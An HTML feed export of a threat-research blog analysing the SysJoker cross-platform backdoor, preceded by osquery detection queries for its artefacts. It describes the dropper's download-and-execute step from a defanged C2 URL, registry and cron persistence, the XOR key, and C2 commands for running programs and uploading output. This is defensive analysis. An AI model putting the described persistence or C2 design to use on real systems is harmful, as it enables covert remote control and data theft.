&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker Linux files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;macos-artifacts&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;/Library/MacOsServices&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker macOS files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;windows-artifacts&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT path, filename, username, groupname, mtime, ctime, atime, md5, sha1, sha256 FROM file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN users using (uid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN hash using (path)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; JOIN groups using (gid)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE file.directory in (&amp;#39;C:\ProgramData\RecoverySystem&amp;#39;, &amp;#39;C:\ProgramData\SystemData&amp;#39;);&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker Windows files&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;linux-cron&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT * FROM crontab
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; WHERE command LIKE &amp;#39;@reboot%&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; AND command LIKE &amp;#39;%updateSystem)&amp;#39;;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker crontab entry&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;macos-plist&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;select * from launchd where path like &amp;#39;%com.apple.update.plist&amp;#39;;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;darwin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker macOS plist entry&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;win-registry&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;query&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SELECT * FROM registry WHERE key LIKE &amp;#39;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run&amp;#39; AND name = &amp;#39;igfxCUIService&amp;#39;;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;interval&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;60&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;version&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;1.0.0&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://intezer.com/blog/malware-analysis/new-backdoor-sysjoker/&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;platform&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;value&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Possible SysJoker Windows registry entry&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>New SysJoker Backdoor Targets Windows, Linux, and macOS</title><link>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</link><pubDate>Tue, 11 Jan 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</guid><description>
&lt;p&gt;Malware targeting multiple operating systems has become no exception in the
malware threat landscape.
&lt;a href="../../../2021/09/vermilionstrike-reimplementation-cobaltstrike"&gt;Vermilion Strike&lt;/a&gt;,
which was documented just last September, is among the latest examples until
now.&lt;/p&gt;
&lt;p&gt;In December 2021, we discovered a new multi-platform backdoor that targets
Windows, Mac, and Linux. The Linux and Mac versions are fully undetected in
VirusTotal. We named this backdoor &lt;strong&gt;SysJoker&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;SysJoker was first discovered during an active attack on a Linux-based web
server of a leading educational institution. After further investigation, we
found that SysJoker also has Mach-O and Windows PE versions. Based on Command
and Control (C2) domain registration and samples found in VirusTotal, we
estimate that the SysJoker attack was initiated during the second half of 2021.&lt;/p&gt;
&lt;p&gt;SysJoker masquerades as a system update and generates its C2 by decoding a
string retrieved from a text file hosted on Google Drive. During our analysis
the C2 changed three times, indicating the attacker is active and monitoring
for infected machines. Based on victimology and malware&amp;rsquo;s behavior, we assess
that SysJoker is after specific targets.&lt;/p&gt;
&lt;p&gt;SysJoker was uploaded to VirusTotal with the suffix .ts which is used for
&lt;a href="https://en.wikipedia.org/wiki/TypeScript"target="_blank" rel="noopener"&gt;TypeScript&lt;/a&gt; files. A possible attack
vector for this malware is via an infected npm package.&lt;/p&gt;
&lt;p&gt;Below we provide a technical analysis of this malware together with IoCs and
detection and response mitigations.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of SysJoker&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-sysjoker"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-sysjoker" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware is written in C++ and each sample is tailored for the specific
operating system it targets. Both the macOS and Linux samples are fully
undetected in VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig1.png" title="e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Behavioral Analysis&lt;span class="hx:absolute hx:-mt-20" id="behavioral-analysis"&gt;&lt;/span&gt;
&lt;a href="#behavioral-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker&amp;rsquo;s behavior is similar for all three operating systems. We will analyze
SysJoker&amp;rsquo;s behavior on Windows.&lt;/p&gt;
&lt;p&gt;Unlike Mac and Linux samples, the Windows version contains a first-stage
dropper. The dropper (&lt;code&gt;d71e1a6ee83221f1ac7ed870bc272f01&lt;/code&gt;) is a DLL that was
uploaded to VirusTotal as &lt;code&gt;style-loader.ts&lt;/code&gt; and has only 6 detections at the
time of this writing.&lt;/p&gt;
&lt;p&gt;The Dropper drops a zipped SysJoker (&lt;code&gt;53f1bb23f670d331c9041748e7e8e396&lt;/code&gt;) from
C2 &lt;code&gt;https[://]github[.]url-mini[.]com/msg.zip&lt;/code&gt;, copies it to
&lt;code&gt;C:\ProgramData\RecoverySystem\recoveryWindows.zip&lt;/code&gt;, unzips it and executes
it. All of these actions are executed via PowerShell commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig2.png" title="Process tree showing PowerShell commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process tree showing PowerShell commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once SysJoker (&lt;code&gt;d90d0f4d6dad402b5d025987030cc87c&lt;/code&gt;) is executed it sleeps for a
random duration between 90 to 120 seconds. Then, it will create the
&lt;code&gt;C:\ProgramData\SystemData&lt;/code&gt; directory and copy itself under this directory,
masquerading as &lt;code&gt;igfxCUIService.exe&lt;/code&gt; (igfxCUIService stands for Intel Graphics
Common User Interface Service). Next, it will gather information about the
machine using Living off the Land (LOtL) commands. SysJoker uses different
temporary text files to log the results of the commands. These text files are
deleted immediately, stored in a JSON object, and then encoded and written to a
file named &lt;code&gt;microsoft_windows.dll&lt;/code&gt;. The figure below shows the JSON object
built in memory by SysJoker.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig3.png" title="JSON object built in memory by SysJoker." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;JSON object built in memory by SysJoker.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It will gather the MAC address, user name, physical media serial number, and IP
address (see IoCs section for the full commands list). SysJoker will create
persistence by adding an entry to the registry run key
&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. Between each
of the steps above, the malware sleeps for a random duration.&lt;/p&gt;
&lt;p&gt;The following screenshot shows the processes tree and commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig4.png" title="Processes tree and commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Processes tree and commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, SysJoker will begin its C2 communication.&lt;/p&gt;
&lt;h3&gt;Decoding/Encoding Scheme&lt;span class="hx:absolute hx:-mt-20" id="decodingencoding-scheme"&gt;&lt;/span&gt;
&lt;a href="#decodingencoding-scheme" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker holds within the binary a hardcoded XOR key which is used for decoding
and encoding strings from within the binary and data sent and received from the
C2. The XOR key is an RSA public key that is not used in the decoding scheme.
The same XOR key exists in all versions of SysJoker:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkfNl&amp;#43;Se7jm7sGSrSSUpV3HUl3vEwuh&amp;#43;xn4q
BY6aRFL91x0HIgcH2AM2rOlLdoV8v1vtG1oPt9QpC1jSxShnFw8evGrYnqaou7gLsY5J2B06eq5UW7
&amp;#43;OXgb77WNbU90vyUbZAucfzy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Resolving C2&lt;span class="hx:absolute hx:-mt-20" id="resolving-c2"&gt;&lt;/span&gt;
&lt;a href="#resolving-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;To get an available C2 and start communication, SysJoker first decodes a
hardcoded Google Drive link.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig6.png" title="Decoding with CyberChef." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding with CyberChef.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decoded with &lt;a href="https://gchq.github.io/CyberChef/"target="_blank" rel="noopener"&gt;CyberChef&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The Google Drive link hosts a text file named domain.txt that holds an encoded
C2. The text file&amp;rsquo;s content changes over time, depending on the current
available C2. SysJoker will decode the C2 and send the collected user&amp;rsquo;s
information to the C2&amp;rsquo;s &lt;code&gt;/api/attach&lt;/code&gt; directory as an initial handshake. The C2
replies with a unique token which will be used as an identifier from now on
when the malware communicates with the C2.&lt;/p&gt;
&lt;h3&gt;C2 Instructions&lt;span class="hx:absolute hx:-mt-20" id="c2-instructions"&gt;&lt;/span&gt;
&lt;a href="#c2-instructions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker runs a while(1) loop that sends a request to the C2&amp;rsquo;s /api/req
directory with the unique token and will process the C2&amp;rsquo;s response which is
built as JSON using functions from &lt;a href="https://github.com/nlohmann/json"target="_blank" rel="noopener"&gt;this library&lt;/a&gt;. This is how SysJoker pings the
C2 for instructions (see step 2 in the image below):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If the server responds with data, SysJoker will parse the received payload (see
step 3 in the image below). SysJoker can receive the following instruction from
the C2: exe, cmd, remove_reg, and exit.&lt;/p&gt;
&lt;p&gt;The following image shows the flow of SysJoker&amp;rsquo;s communication with the C2.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;remove_reg&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt; are not implemented in this current version. Based on
the instruction names, we can assume that they are in charge of self-deletion
of the malware. Let&amp;rsquo;s look into exe and cmd instructions:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exe&lt;/code&gt; – This command is in charge of dropping and running an executable.
SysJoker will receive a URL to a zip file, a directory for the path the file
should be dropped to, and a filename that the malware should use on the
extracted executable. It will download this file, unzip it and execute it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig9.png" title="IDA code snippet of the parsing function, if exe part." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, if exe part.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After execution, the malware will reply to the C2&amp;rsquo;s &lt;code&gt;/api/req/res&lt;/code&gt; API with
either &amp;ldquo;success&amp;rdquo; if the process went successful or &amp;ldquo;exception&amp;rdquo; if not (step 4
in the image above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig10.png" title="IDA code snippet of the parsing function, building response status." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building response status.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd&lt;/code&gt; – This instruction is in charge of running a command and uploading its
response to the C2. SysJoker will decode the command, execute it and upload the
command&amp;rsquo;s response to the C2 via &lt;code&gt;/api/req/res&lt;/code&gt; API (step 4 in the image
above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig11.png" title="IDA code snippet of the parsing function, building cmd command response." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building cmd command response.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;During our analysis, the C2 hasn&amp;rsquo;t responded with a next stage instruction.&lt;/p&gt;
